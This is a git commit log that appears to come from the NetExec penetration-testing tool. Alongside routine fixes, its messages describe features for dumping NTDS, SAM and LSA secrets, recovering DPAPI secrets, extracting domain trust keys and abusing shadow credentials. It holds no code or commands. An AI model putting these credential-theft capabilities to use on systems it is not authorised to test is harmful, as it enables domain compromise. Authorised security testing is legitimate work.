Alexander Neff 18a2bfa6de Remove unused import 2026-09-23 14:13:09 -04:00
Alexander Neff ed9fb8b33f Formatting 2026-09-23 14:10:58 -04:00
Alexander Neff fb0fbc197d Merge branch 'main' into fix/ssh-key-type-rejected 2026-09-23 14:10:00 -04:00
Alexander Neff c8394ad1d6 Add patch by @azoxlpf fixing SSH error detection if pass auth is disabled 2026-09-23 14:08:18 -04:00
mpgn 72abb0776e Merge pull request #1441 from abdo210xl/backup-operator-bootkey
Added live boot key extraction to backup_operator
2026-09-23 16:55:58 +02:00
zblurx cd956dd91f ruff 2026-09-23 10:11:42 +02:00
mpgn 27a3a3a796 Merge pull request #1442 from Pennyw0rth/mpgn-patch-1
Update aardwolf dependency version
2026-09-22 23:06:01 +02:00
mpgn ef3d4c8a76 Update aardwolf dependency version
Updated aardwolf dependency version to 0.2.14.

Signed-off-by: mpgn <[email protected]>
2026-09-22 22:56:22 +02:00
Alex 643c9370e5 Merge pull request #1440 from azoxlpf/fix/rdp-legacy-tls-864 2026-09-22 22:15:48 +02:00
Abdelrahman Mohamed 2f1c3e0275 Added live boot key extraction to backup_operator
Signed-off-by: Abdelrahman Mohamed <[email protected]>
2026-09-22 22:39:25 +03:00
azoxlpf 26568e44ab Reach legacy RDP servers by allowing weak TLS ciphers 2026-09-22 21:37:02 +02:00
Alexander Neff b9535e6775 Formatting 2026-09-22 13:10:45 -04:00
Alexander Neff e3d86824ee Improve module description 2026-09-22 13:07:01 -04:00
Alex fdb60ae38e Merge pull request #1258 from Dfte/add_mssql_database_listing
Add --list-backups allowing enumerating databases backups on MSSQL
2026-09-22 17:58:44 +02:00
Alexander Neff a8dec3c6f7 Merge branch 'main' into add_mssql_database_listing 2026-09-22 11:49:03 -04:00
Alexander Neff f1726b0520 Simplify logic 2026-09-22 11:46:09 -04:00
Alexander Neff fc3fb874c0 First review pass simplifying logic 2026-09-22 11:45:41 -04:00
Alexander Neff 9bfa036013 Remove unused import 2026-09-22 11:36:05 -04:00
Alexander Neff 3e0cc700e7 Simplify action selection 2026-09-22 11:35:48 -04:00
Alexander Neff 553224031e Simplify module args 2026-09-22 11:35:11 -04:00
Alexander Neff 421bd670d2 Remove unnecessary init 2026-09-22 11:34:12 -04:00
Alexander Neff 1920b3b515 Sort imports 2026-09-22 11:33:50 -04:00
zblurx f55edf3987 support big files download 2026-09-22 17:07:48 +02:00
Alex af92759b49 Merge pull request #1257 from Dfte/add_hash_dump_mssql
Add local database hash dump for mssql
2026-09-22 15:11:33 +02:00
crosscutsaw d807ebd4e4 Update presence.py 2026-09-21 10:13:47 +03:00
Alex 3a7bf59909 Merge pull request #1433 from Pennyw0rth/neff-fix-backup-operator 2026-09-20 19:34:24 +02:00
crosscutsaw 8417639cda presence-fix-improve
presence-fix-improve
2026-09-20 17:35:04 +03:00
Alex 12ebe0d34b Merge branch 'main' into main 2026-09-20 14:44:25 +02:00
Alexander Neff 818985bdd3 Rename sanitizing function 2026-09-20 08:11:15 -04:00
Alexander Neff e63a43c1f0 Improve DNS check to be compliant with referenced RFCs 2026-09-20 08:04:08 -04:00
Alex b4ce916a03 Merge branch 'main' into fix/sanitize-ntlm-hostname 2026-09-20 13:09:20 +02:00
Alexander Neff 3808655afa Add big timeout for backup-operator module for larger hives 2026-09-20 06:20:05 -04:00
Alex a0a37b7af8 Merge pull request #1429 from termanix/patch-1
Add NTLM Authentication for getKerberosTGT on ResetNightmare Module
2026-09-19 16:39:04 +02:00
termanix 475a8419c7 Merge branch 'patch-1' of https://github.com/termanix/NetExec into patch-1 2026-09-19 15:59:57 +03:00
termanix 76486f14a5 removed double strings from getKerberosTGT 2026-09-19 15:58:16 +03:00
termanix f0e0cc6c84 Merge branch 'main' into patch-1 2026-09-19 15:53:19 +03:00
termanix 03ae02ec01 empty strings fallback to first defined line from getKerberosTGT 2026-09-19 15:52:00 +03:00
termanix 57c5af5fc2 edit e2e 2026-09-19 15:50:13 +03:00
Alex 9eb36e489b Merge pull request #1428 from MRX-72/fix-ssh-timeout-error
SSH: catch TimeoutError during login with a clean fail message
2026-09-19 13:42:04 +02:00
termanix 325cd1c73b removed sys library, sys.exit swapped to return false 2026-09-19 10:55:52 +03:00
termanix efb0f308e9 Comment out shadow-cred and resetnightmare
Signed-off-by: termanix <[email protected]>
2026-09-19 10:51:25 +03:00
termanix 3299d94e92 misleading naming 2026-09-18 17:35:28 +03:00
termanix 4f6ef43aca edit e2e_commands 2026-09-18 15:12:21 +03:00
termanix ff52856d2e Add NT hash usage on example line 2026-09-18 15:10:24 +03:00
termanix 99c65e87b0 Add NTLM Auth for getKerberosTGT 2026-09-18 21:53:31 +03:00
Mrx 60b3a5d3d0 SSH: catch TimeoutError during login with a clean fail message
plaintext_login() only caught AuthenticationException and SSHException
before falling through to the generic Exception handler, which logs via
logger.exception() and dumps a full traceback. A connection timing out
mid-login is routine on a target sweep, not something that needs a stack
trace, and smb.py already treats TimeoutError this way elsewhere in the
codebase.

Fixes #358
2026-09-18 13:45:47 +05:30
mpgn 22840bfc2a Merge pull request #1427 from Pennyw0rth/dpapi_logging_fix_v2
Revert "Revert "[DPAPI] Fix logging origin in dpapi related modules""
2026-09-15 22:10:44 +02:00
mpgn 615a501dff uv lock update with newer correct time 2026-09-15 22:01:07 +02:00
mpgn 5f5aa26a46 Revert "Revert "[DPAPI] Fix logging origin in dpapi related modules""
This reverts commit 11d9151737.
2026-09-15 21:57:34 +02:00
mpgn 85aa3486d8 Merge pull request #1426 from Pennyw0rth/revert-1423-dpapi_logging_fix
Revert "[DPAPI] Fix logging origin in dpapi related modules"
2026-09-15 21:44:20 +02:00
mpgn 11d9151737 Revert "[DPAPI] Fix logging origin in dpapi related modules" 2026-09-15 21:41:48 +02:00
mpgn a43afcee4f Merge pull request #1423 from Pennyw0rth/dpapi_logging_fix
[DPAPI] Fix logging origin in dpapi related modules
2026-09-15 21:41:06 +02:00
Alexander Neff df9c32276a Update lock files 2026-09-15 14:46:59 -04:00
Alexander Neff 47af3a022c Formatting 2026-09-15 14:46:29 -04:00
zblurx 4fd05318df check filesize and warn user if too big 2026-09-14 17:57:44 +02:00
zblurx e193097969 adapt LSA dump to dpapi upgrade 2026-09-14 16:44:43 +02:00
zblurx 5b83b43486 Merge branch 'main' into wmi_dump
Signed-off-by: zblurx <[email protected]>
2026-09-14 16:26:39 +02:00
zblurx d542b20224 fix logging origin in dpapi related modules 2026-09-14 16:11:15 +02:00
Alex d4cdc6c019 Merge pull request #1421 from rtpt-romankarwacik/ldap_signing_except 2026-09-14 13:38:44 +02:00
Roman Karwacik 3746e0d8cc Catch LDAP connection errors while checking for signing 2026-09-14 13:09:30 +02:00
Alex 81e53ecb9c Merge pull request #1419 from Pennyw0rth/neff-fixes
Add a bunch of small fixes
2026-09-14 00:26:58 +02:00
Alexander Neff 310979ab59 Merge branch 'main' into neff-fixes 2026-09-13 18:20:28 -04:00
Alexander Neff 852549566c Merge branch 'main' into add_mssql_database_listing 2026-09-13 18:11:15 -04:00
Alexander Neff d5e04789c4 Formatting 2026-09-13 18:10:32 -04:00
Alexander Neff db63325450 Merge branch 'main' into add_hash_dump_mssql 2026-09-13 18:04:21 -04:00
mpgn 7bd77885b7 Merge pull request #1327 from Pennyw0rth/dpapi_upgrade
[dploot upgrade] Add --dpapi on WMI, WINRM and MSSQL protocols
2026-09-13 23:57:08 +02:00
mpgn aecf64dbc7 uv lock update 2026-09-13 23:55:34 +02:00
Alexander Neff 0b3f805283 Change negative expression logging message 2026-09-13 17:46:37 -04:00
Alex d3c3ca9dea Merge pull request #1259 from Dfte/refactor_list_database
Refactor the --database argument to comply with security checks
2026-09-13 23:44:32 +02:00
Alexander Neff a6017269af Fixing wrongfully string decoding 2026-09-13 17:42:00 -04:00
Alexander Neff ee3dd5e0e6 Formatting 2026-09-13 17:35:47 -04:00
Alexander Neff 490d7397f2 Formatting 2026-09-13 17:33:16 -04:00
Alexander Neff f1078b6622 Use dploot pypi version 2026-09-12 12:36:36 -04:00
Alexander Neff e5b7a5f3b4 Merge branch 'main' into dpapi_upgrade 2026-09-12 09:40:34 -04:00
Alexander Neff 164f35dddd Catch Exception if software is not installed 2026-09-12 09:32:00 -04:00
Alexander Neff 4e2c0a60d4 Rename 'context' to 'connection' so it is in line with modules 2026-09-12 09:24:34 -04:00
Alexander Neff 9249bb3834 Fix remoteng execution 2026-09-12 09:21:14 -04:00
Alexander Neff 317840f6df Remove unused functions and imports 2026-09-12 09:12:05 -04:00
Fabrizzio53 44267c807f Recover the description field of deleted objects
Added new code to recover the description (if active) from deleted objects

Signed-off-by: Fabrizzio53 <[email protected]>
2026-09-11 17:24:46 -03:00
Alexander Neff 44cc9f1333 Ruff 2026-09-11 17:54:56 +02:00
Alexander Neff 333ec792f0 lock file hash 2026-09-11 17:36:36 +02:00
Alexander Neff a92275586e Fix crash if NTLM is unavailable 2026-09-11 17:36:10 +02:00
Alexander Neff 32469fea8b Fix bloodhound collection if signing and cbt is enforced 2026-09-11 17:35:39 +02:00
Alexander Neff 5823cdba20 Add ftp --cat command 2026-09-11 17:34:32 +02:00
Alexander Neff a7626dd2c4 Improve ftp host banner and session closing 2026-09-11 17:34:12 +02:00
Alexander Neff 6b5f557736 Remove useless share listing 2026-09-11 17:33:24 +02:00
Alexander Neff 40abafc41b Add some padding for user descriptions 2026-09-11 17:32:45 +02:00
Alexander Neff 6c29f3c6e4 Fix error handling of impacket/rpcrt 2026-09-11 17:32:26 +02:00
Alexander Neff c3122a9487 Add generic exception handler for ConnectionRefused 2026-09-11 17:29:41 +02:00
mpgn e6deadf5c7 Merge pull request #1413 from Natasha-B/fix-ldap-check
Fix false positives on ldap signing and cbt checks when NTLM is disabled
2026-09-11 11:58:39 +02:00
mpgn dde1482435 Fix conditional check for signing_required
Signed-off-by: mpgn <[email protected]>
2026-09-11 11:56:16 +02:00
Natasha-B ff987ee634 Fix false positives on ldap signing and cbt checks when NTLM is disabled 2026-09-10 17:30:58 +02:00
Alex c72f2ca98e Merge pull request #1390 from XiaoliChan/wmi-reuse-fix
[WMI] Reuse DCOM fix
2026-09-09 22:31:19 +02:00
Alexander Neff 402615522e Merge branch 'main' into wmi-reuse-fix 2026-09-09 16:22:22 -04:00
Alex 5d9ea3a0ad Merge pull request #1410 from Pennyw0rth/neff-fix-encoding
Change CRLF to LF of bitlocker file module
2026-09-09 22:19:21 +02:00
Alexander Neff c612a1347a Change CRLF to LF 2026-09-09 16:15:08 -04:00
mpgn 90efb2a9f3 Merge pull request #1321 from Goultarde/feature/trust-keys 2026-09-09 22:06:24 +02:00
Marshall Hallenbeck 444cea83c6 Merge pull request #1190 from Pennyw0rth/feat/smb-get-folder
add --get_folder functionality
2026-09-09 15:48:58 -04:00
mpgn 8073a798e0 update lock files 2026-09-09 21:19:39 +02:00
mpgn 6699b40757 Merge branch 'main' into feature/trust-keys 2026-09-09 21:10:00 +02:00
Goultarde 98d0549ae1 Respect history for TDO trust keys 2026-09-09 21:07:25 +02:00
mpgn 8230e9a2d3 fix from update of impacket 2026-09-09 20:54:05 +02:00
Alexander Neff 0cc365cef2 Formatting 2026-09-09 12:27:16 -04:00
Alexander Neff b328661dd4 Formatting 2026-09-09 11:59:07 -04:00
Alexander Neff 7fd40a391c Formatting 2026-09-09 11:51:41 -04:00
Alexander Neff 467123465a Formatting 2026-09-09 11:48:41 -04:00
Alexander Neff 0de205c95f Fix lock files 2026-09-09 11:45:47 -04:00
zblurx 887941fc50 Merge branch 'main' into wmi_dump
Signed-off-by: zblurx <[email protected]>
2026-09-09 10:47:47 +02:00
zblurx 5e95c3490e revert impacket dep to the original repo 2026-09-09 10:41:47 +02:00
Alex ccef3a75b0 Merge pull request #1408 from r4vanan/main 2026-09-09 09:55:13 +02:00
r4vanan 4ae0dd723b Fix spelling mistakes across multiple files 2026-09-08 22:52:26 -04:00
Alex d640fb78b8 Merge pull request #1233 from x-way/fix-empty-dir-spider
Fix handling of empty SMB share folder
2026-09-06 22:19:34 +02:00
Alex e969f23757 Merge pull request #1403 from Pennyw0rth/neff-add-clean
Shadow Creds Clear command
2026-09-06 21:53:01 +02:00
Alexander Neff f1e6b38574 Add clear command to shadow-creds module 2026-09-06 15:05:07 -04:00
Alexander Neff c98846379f Provide information about excluded hosts more verbosly 2026-09-06 13:41:37 -04:00
Alexander Neff 766c221f10 Trim down on info logs so we can see only valid hosts 2026-09-06 13:39:50 -04:00
Alex 7f5f869de0 Merge pull request #1204 from Dfte/add_exclude_options 2026-09-06 15:56:57 +02:00
XiaoliChan eee763caad bitlocker module: reuse the wmi protocol connection instead of a second DCOMConnection
Same pattern as the rdp module fix: BitLockerWMI creates its own
DCOMConnection to the same target the wmi protocol already holds one
for, and disconnecting it removes the shared INTERFACE.CONNECTIONS
thread entry, so the protocol-level disconnect afterwards raises
KeyError on impacket versions that do not guard it. Reuse the
protocol's IWbemLevel1Login instead - over smb nothing changes.
2026-09-05 19:56:39 +08:00
XiaoliChan 26e2007d77 rdp module: reuse the wmi protocol connection instead of a second DCOMConnection
When running over the wmi protocol the module now reuses the protocol's
authenticated IWbemLevel1Login instead of creating its own
DCOMConnection to the same target - whose disconnect would clash with
the protocol's own on impacket versions that do not guard the
INTERFACE.CONNECTIONS thread entry (KeyError: ThreadPoolExecutor-x_x).
Over smb nothing changes: the module still creates its own
DCOMConnection since the protocol has none.
2026-09-05 19:56:39 +08:00
Diogo_Damasceno 59d29c895a Fix #1349: skip non-SearchResultEntry objects in LDAP --query
The `query()` loop iterated the parsed response but indexed the raw
response with `resp[idx]`, bumping `idx` in a way that never skipped the
current iteration. When the LDAP server returned a non-SearchResultEntry
object (e.g. a SearchResultReference), the code crashed with a TypeError
('<' not supported between instances of 'str' and 'int' / object not
subscriptable).

Now we iterate the raw response directly, `continue` on anything that is not
a `SearchResultEntry`, and read `objectName` from the real entry. The
display logic is unchanged for valid entries.

Added tests/test_ldap_query_iteration.py covering the skip behaviour.
Verified on Python 3.14.7.
2026-09-04 08:29:02 -03:00
Diogo_Damasceno ce33ac0f8d Fix #1385: derive nxcdb hosts CSV header from the protocol's HostsTable
The `export hosts` CSV header was hard-coded to the SMB schema
(smbv1/signing/spooler/zerologon/petitpotam), so exporting hosts for any
other protocol (RDP, MSSQL, SSH, LDAP, ...) produced a header that did not
match the row content.

Now the header is derived from the active protocol's HostsTable columns via a
new `host_csv_headers()` helper, as suggested in the issue: default to the
real column names instead of static SMB strings. `simple` keeps the first 8
columns (historical row width); `detailed` returns every column of the table.
No unrelated formatting changes.

Added tests/test_nxcdb_host_export.py covering SMB (no regression) and RDP
(no SMB-only columns leak into the header). Verified on Python 3.14.7.
2026-09-04 08:14:08 -03:00
zblurx 2fc046558c Merge branch 'main' into dpapi_upgrade 2026-09-03 16:35:46 +02:00
Diogo_Damasceno 2e96341424 ssh: distinguish 'key type rejected by server' from invalid passphrase (issue #1356)
When an sshd server rejects a public key because its algorithm is not in
PubkeyAcceptedAlgorithms (e.g. server allows only ssh-ed25519 while the
key is RSA), Paramiko raises with a message such as 'Auth rejected:
pubkey algorithm ... unsupported or disabled' or 'Unable to agree on a
pubkey algorithm ...'. These were previously surfaced as the misleading
'Could not decrypt private key, invalid password'.

Add _is_key_type_rejected() and use it in plaintext_login() so the user
gets a clear 'Key type rejected by server (pubkey algorithm not allowed)'
message, while wrong-passphrase and encrypted-key cases keep their
existing behavior.

Add tests/test_ssh_key_type_rejection.py covering the real Paramiko 5.x
rejection messages and asserting the existing cases are not misclassified.
2026-09-03 11:21:25 -03:00
Andreas Jaggi 28e1ad17b4 Fix handling of empty SMB share folder 2026-09-02 15:56:10 +00:00
Alex ee0e488d43 Merge pull request #1368 from Pennyw0rth/neff-add-shadow-creds 2026-09-02 15:56:51 +02:00
Alexander Neff 5800ec5fbb Add prompt if exclusion exists but target is hostname 2026-09-01 14:56:32 -04:00
Alexander Neff 883921d2c8 Ensure that excluded hosts are valid IPs 2026-09-01 14:36:46 -04:00
Alexander Neff 2fbbd244a4 Add netifaces to lock files 2026-09-01 14:28:31 -04:00
Alexander Neff ac84b7dd94 Formatting 2026-09-01 14:27:50 -04:00
Alexander Neff 336738bd58 Move target parsing to helper functions 2026-09-01 14:26:18 -04:00
Alexander Neff c0536ccd72 Add comment back 2026-09-01 14:18:32 -04:00
Alexander Neff fc30724918 Add IPv6 self exclusion 2026-09-01 14:17:55 -04:00
Alexander Neff a7e55ffbf4 Formatting 2026-09-01 14:17:25 -04:00
Alexander Neff 6dc9e9d505 Make IP exclusion list additive instead of overwriting itself 2026-09-01 14:17:09 -04:00
Alexander Neff 5f53ae99fd Formatting 2026-09-01 13:28:05 -04:00
mpgn 978270ad00 Add default value to --trust-keys argument
Set default value for --trust-keys argument to True.

Signed-off-by: mpgn <[email protected]>
2026-08-31 21:49:41 +02:00
mpgn 9e94f58081 simplify the logic and fix regression
Signed-off-by: mpgn <[email protected]>
2026-08-31 21:45:18 +02:00
Deft_ db807bb938 Merge branch 'main' into add_exclude_options
Signed-off-by: Deft_ <[email protected]>
2026-08-31 17:19:36 +02:00
Aurélien CHALOT cb351cf890 Add support for IPv6 2026-08-31 17:02:52 +02:00
Aurélien CHALOT 9817aadfbb Add --exclude-hosts and --skip-self overwriting nxc.conf file 2026-08-31 16:57:28 +02:00
zblurx 4bf5abdcdc ruff 2026-08-31 12:39:54 +02:00
zblurx 961f4e5028 enhance use of credentials in db 2026-08-31 11:52:05 +02:00
zblurx 6ee4802743 fix dploot_connection upgrade debug log message 2026-08-31 11:09:07 +02:00
zblurx 42fe6b4840 remove print 2026-08-31 10:51:40 +02:00
zblurx 7308add93f Merge branch 'dpapi_upgrade' of github.com:Pennyw0rth/NetExec into dpapi_upgrade 2026-08-31 10:41:38 +02:00
zblurx a9b8cf8e0a add highlight in log_secret and set output_file in init 2026-08-31 10:40:21 +02:00
Alexander Neff ff3d4937b4 Merge branch 'main' into dpapi_upgrade 2026-08-30 11:58:09 -04:00
Alex 2bdc7e5e52 Merge pull request #1362 from amikuss/fix/ldap-groups-memberof-fallback 2026-08-30 03:19:00 +02:00
zblurx b114c644c5 showing machine keys if collected 2026-08-28 11:36:03 +02:00
zblurx 0d2af8bdd5 added display message when dump LSA 2026-08-28 11:28:45 +02:00
zblurx 78d607b84b fix issue with default shadow_id value 2026-08-27 16:35:55 +02:00
zblurx 34b7a35118 ruff 2026-08-27 13:00:20 +02:00
zblurx 48cc6b0e30 added --use-snapshot-id arg 2026-08-27 12:54:15 +02:00
zblurx 65f4714953 add ntds dump 2026-08-27 12:44:06 +02:00
zblurx 3c52ecb40e create wmi RemoteOperation class 2026-08-27 11:48:08 +02:00
zblurx ee9f59e513 refacto namespace loading 2026-08-27 10:45:24 +02:00
zblurx b6f20e40b9 ruff 2026-08-26 18:04:11 +02:00
zblurx ab4a44cf4d update poetry lock 2026-08-26 18:00:58 +02:00
zblurx 4711814adb add sam and lsa dump 2026-08-26 18:00:09 +02:00
zblurx a819614fc2 add get_file 2026-08-26 17:08:11 +02:00
zblurx 0de1fc8cd5 change function name to log_secret to make it clearer 2026-08-25 12:08:38 +02:00
zblurx 92e61efe14 Fix the open file to append instead of overwrite 2026-08-25 11:55:19 +02:00
zblurx 01536dc628 ruff 2026-08-25 11:51:40 +02:00
zblurx 8e4fc22290 move it closer to dpapi stuff, easier to read 2026-08-25 11:50:42 +02:00
zblurx 1d06afcc84 only rely on kdcHost for backupkey recovery 2026-08-25 11:47:50 +02:00
zblurx c5ab84af01 added lsa quiet mode 2026-08-25 11:37:40 +02:00
zblurx cb7d22ccbc modify output_file and counter management 2026-08-25 11:22:46 +02:00
zblurx 473e33352e update args pvk 2026-08-25 10:02:25 +02:00
Alexander Neff 4a2c8d433d Make output logic clear and add dn fallback 2026-08-24 17:16:56 -04:00
Alexander Neff b7ba0f929e Adjust query such that we don't query all objects and don't fail on external references 2026-08-24 17:16:18 -04:00
Alex 8a7edb5636 Merge branch 'main' into fix/ldap-groups-memberof-fallback 2026-08-24 21:40:51 +02:00
Alexander Neff 35bf9d183e Fix linting 2026-08-23 09:44:49 -04:00
Alexander Neff b5da832c31 Add legacy path for mremoteng conf files 2026-08-23 09:42:51 -04:00
Alexander Neff d4ee81fa3f Update lock file 2026-08-23 08:36:12 -04:00
Alexander Neff 79e14ea61e Update lock file 2026-08-23 08:35:43 -04:00
Alexander Neff 31428e9674 Merge branch 'main' into dpapi_upgrade 2026-08-23 08:34:40 -04:00
Alexander Neff 8fbadf4d0f Remove unused import 2026-08-23 07:30:42 -04:00
Alexander Neff 60aab5c60d Don't manually exit, but return False for invalid module options 2026-08-23 07:28:30 -04:00
Alex dfcbdb9fff Merge branch 'main' into neff-add-shadow-creds 2026-08-23 13:08:41 +02:00
amikuss 40c4c124b3 refactor(ldap): split all-groups/specific-group search logic 2026-08-20 09:52:08 +02:00
Alexander Neff e0a3f1a1db Restrict exception handling to LDAPSessionError caused by unsifficient privs 2026-08-20 09:51:01 +02:00
Alexander Neff a5b525037a Fix string comparison on DeviceID 2026-08-20 09:43:41 +02:00
Marshall Hallenbeck 73b4dba6d2 Merge branch 'main' into feat/smb-get-folder 2026-08-19 17:49:07 -04:00
Alexander Neff 1b30d2ed01 Allow non-computer accounts 2026-08-16 17:52:13 -04:00
Alexander Neff 32e6d5a8b7 Display Device ID first 2026-08-16 17:47:48 -04:00
Alexander Neff 8943e65a9e Improve info output 2026-08-16 17:47:37 -04:00
Alexander Neff 33080a917c Just export raw ldap value to bypass dsinternals issues 2026-08-16 17:43:06 -04:00
Alexander Neff fb8b3e41c7 Add more tests and adjust encoding 2026-08-16 17:21:00 -04:00
Alexander Neff 96ce28cc4a Add backup and revert functions 2026-08-16 17:14:06 -04:00
Alexander Neff 18f0e5ffc5 Add stub e2e tests 2026-08-16 16:30:16 -04:00
Alexander Neff 3114333d27 First draft of shadow-creds 2026-08-16 16:30:09 -04:00
azoxlpf 14f10c31f8 ignore -u with --schannel and name the auth method in the connect log 2026-08-16 17:56:10 +02:00
Adam Hassan 5b1ee92773 fix(rdp): only warmup .NET runtime when output is needed 2026-08-16 02:12:22 -07:00
Adam Hassan ab7c2d56d3 fix(rdp): prime .NET runtime to eliminate cold-start timeout on Win11 2026-08-16 02:12:22 -07:00
Adam Hassan 5d45303e19 fix(rdp): return None from clipboard timeout, not empty string 2026-08-16 02:12:21 -07:00
Adam Hassan ac6f58149f fix(rdp): use auth_only connect to prevent Win11 clipboard failure 2026-08-16 02:12:21 -07:00
Adam Hassan 78169e8354 fix(rdp): preserve protocol overrides and kerberos logging 2026-08-16 02:12:21 -07:00
Adam Hassan 22db44f380 fix: terminate connection on connect failure to prevent socket leak 2026-08-16 02:12:20 -07:00
Adam Hassan 2aa0601c88 docs: clarify supported_protocols reset 2026-08-16 02:12:20 -07:00
Adam Hassan ae77d482b9 docs: add inline comments for clipboard sync and PS launcher 2026-08-16 02:12:20 -07:00
Adam Hassan 9bba4a1013 fix(rdp): support legacy PowerShell clipboard access 2026-08-16 02:12:20 -07:00
Adam Hassan 5b6647b4d0 fix(rdp): stabilize headless command execution 2026-08-16 02:12:19 -07:00
amikuss 7d742355f5 fix(ldap): resolve group members via 'member' fallback for missing 'memberOf' backlinks 2026-08-13 10:40:25 +02:00
zblurx daed14661a update docstrings in dpapi.py helper 2026-08-12 13:49:32 +02:00
azoxlpf d950a5cc13 share one certificate loader between PKINIT and Schannel 2026-08-09 17:27:22 +02:00
Azox 163139b115 Merge branch 'main' into feat/add-schannel 2026-08-09 17:02:20 +02:00
Marshall Hallenbeck 4c3e407b30 fix: remove unused _StoreAction import (#1190)
Refs #1190
2026-08-05 17:56:13 -04:00
azoxlpf 130c668de8 Only mark RDP hosts Pwn3d when a real session actually opens 2026-08-05 22:21:57 +02:00
Marshall Hallenbeck 482c26631d fix: resolve merge conflicts with main (#1190)
Merge upstream import changes in smb.py and proto_args.py while
preserving --get-folder feature additions.

Refs #1190
2026-08-05 15:28:01 -04:00
zblurx 395bad514d using function returned values instead of counter 2026-08-02 22:34:48 +02:00
zblurx a34140e7c1 ruff 2026-08-02 22:29:40 +02:00
zblurx 2f11e2f41e few changes related to reviews 2026-08-02 22:22:25 +02:00
Alexander Neff 100f3a1428 Fix dpapi key output in lsa 2026-08-01 17:40:49 -04:00
Alexander Neff 7a8b85406a Merge main 2026-08-01 16:29:44 -04:00
Azox 7ca004be28 Merge branch 'main' into feat/add-schannel
Signed-off-by: Azox <[email protected]>
2026-07-31 15:23:17 +02:00
azoxlpf 5bd45d2ca6 restore Schannel whoami lookup to display the real mapped user 2026-07-30 17:35:06 +02:00
azoxlpf d97907bff8 fix requested changes 2026-07-30 17:21:10 +02:00
serwiz 4444e45e2a Added Try catch exception over smb connection and forward ldap connection timeout too 2026-07-30 14:06:23 +02:00
serwiz 313487fe3f Corrected LSA RPC into LDAP + Well Known SIDs 2026-07-30 12:14:44 +02:00
serwiz 254f69defb Restore localized SID resolution through LSA 2026-07-30 11:37:13 +02:00
serwiz 2eac3ce028 Handle unresolved LDAP SIDs 2026-07-30 11:24:24 +02:00
serwiz 22d3dcc5bf Reviews from comments done for maq module 2026-07-30 11:03:23 +02:00
zblurx f210749bcb Merge branch 'main' into dpapi_upgrade
Signed-off-by: zblurx <[email protected]>
2026-07-28 10:07:57 +02:00
Goultarde 59778f5b70 Use self.targetDomain for trust key salt derivation 2026-07-26 17:32:06 +02:00
azoxlpf 98ae72fa2c simplify Schannel LDAPConnection call 2026-07-23 09:35:24 +02:00
zblurx 4a235a45b6 remove unused mark 2026-07-22 21:01:58 +02:00
zblurx 2d04789b10 update pvk file reading 2026-07-22 20:54:30 +02:00
zblurx f2cbdc4372 update e2e_commands.txt 2026-07-22 20:44:39 +02:00
zblurx 6b509c402a update pyproject.toml 2026-07-22 20:14:26 +02:00
zblurx fe758a6270 ruff check 2026-07-22 20:11:07 +02:00
zblurx f0047bc321 fix dploot related modules 2026-07-22 20:00:05 +02:00
zblurx f476bf2313 fix mssql dabatase for backupkey 2026-07-22 18:14:12 +02:00
zblurx 2d35724a6e add dpapi for mssql 2026-07-22 17:53:00 +02:00
zblurx 88d0c7bb3f dpapi refacto 2026-07-22 17:25:46 +02:00
zblurx 7ccf5aaddb add dpapi for winrm 2026-07-22 12:48:46 +02:00
zblurx e60d8f1b34 add dpapi for wmi proto 2026-07-22 12:04:46 +02:00
zblurx db422c71b2 update smb proto 2026-07-22 12:04:30 +02:00
azoxlpf 6c59c7a11e Merge remote-tracking branch 'origin/main' into feat/add-schannel 2026-07-22 09:47:32 +02:00
azoxlpf f6e85c809e requested changes 2026-07-22 09:37:10 +02:00
Goultarde 77f6ab4f85 Add e2e tests and update --enabled help text for trust keys 2026-07-18 20:04:25 +02:00
Goultarde 9860c5fded Fix trust key lines disappearing with --enabled
Trust key lines never contain "Enabled"/"Disabled" (they have no account
status), so the --enabled filter silently dropped them entirely. Detect
trust key lines and always show them regardless of --enabled.
2026-07-18 15:25:52 +02:00
Goultarde d96e92d867 Fix trust-keys dump summary messages
--just-trust-keys reused the regular NTDS dump summary ("NTDS hashes",
"added to the database", grep-disabled hint), which is meaningless
when only trust keys are dumped (no accounts are enumerated). Show a
summary specific to that mode instead.
2026-07-18 13:48:52 +02:00
Goultarde dc7e0e432d Add --just-trust-keys to smb ntds dump
Like --trust-keys but skips account enumeration entirely (implied --just-dc
behavior in impacket), emitting only the trust keys. Useful when only the
inter-realm keys are needed, for a faster and quieter dump.
2026-07-18 13:33:11 +02:00
Goultarde dd72a956e6 Add --trust-keys to smb ntds dump
Expose impacket secretsdump's trust key extraction (fortra/impacket#2207)
through NetExec's --ntds: dumps Trusted Domain Object secrets and derives
inter-realm Kerberos (AES256, AES128) and RC4 keys for each trust direction.

Also fixes the account-line status stripping in add_hash(), which blindly
dropped the last space-separated word of every secret line (meant to strip
the trailing "Enabled"/"Disabled" on account lines) and was truncating the
trust key lines, which contain spaces but no status suffix.
2026-07-18 13:00:34 +02:00
Aurélien CHALOT 6b030fce79 typo 2026-07-16 14:03:56 +02:00
Aurélien CHALOT c79f649f9d Add encryption status 2026-07-08 17:43:06 +02:00
Aurélien CHALOT f01876f3f9 Add hash algorithm in the output 2026-07-08 17:22:57 +02:00
Azox 9bd4e8e832 Regenerate poetry.lock after merge with main 2026-06-19 12:32:57 +02:00
Azox c94d00fbc1 resolve conflicts
Signed-off-by: Azox <[email protected]>
2026-06-19 12:18:40 +02:00
Azox 7fcb9b26ae Merge branch 'main' into feat/add-schannel
Signed-off-by: Azox <[email protected]>
2026-06-19 12:14:22 +02:00
azoxlpf 812c63e00b move Schannel auth from schannel_login to plaintext_login 2026-06-18 10:46:18 +02:00
azoxlpf 59c032e4dd Declare cryptography as a direct dependency 2026-06-10 09:51:19 +02:00
azoxlpf e8ad9528f9 add Schannel certificate authentication via --schannel 2026-06-09 09:45:35 +02:00
TristanInSec 09f3f823c6 Address review: make logger required, use .fail() for sanitization warnings 2026-06-06 16:19:38 -04:00
TristanInSec c20060a64a Refactor hostname sanitization into helpers/misc.py
Move the hostname sanitization regex from an inline check in
connection.py into a reusable sanitize_hostname() function in
nxc/helpers/misc.py, and apply it at the source in each protocol's
enum_host_info where hostnames are received from NTLM/server data.

Protocols covered: SMB, WinRM, WMI, MSSQL, RDP.

Addresses review feedback on PR #1243.
2026-06-02 16:49:46 -04:00
Aurélien CHALOT 77f7f19223 Fix e2e 2026-06-02 13:48:03 +02:00
Aurélien CHALOT 262487ba03 Switch --backups to --list-backups 2026-06-02 12:44:12 +02:00
Aurélien CHALOT e2a7b853d7 Remove @requires_admin as it is not 2026-06-02 11:53:10 +02:00
Aurélien CHALOT cfc9123142 Refactor the --database argument to comply with security checks 2026-06-02 11:47:37 +02:00
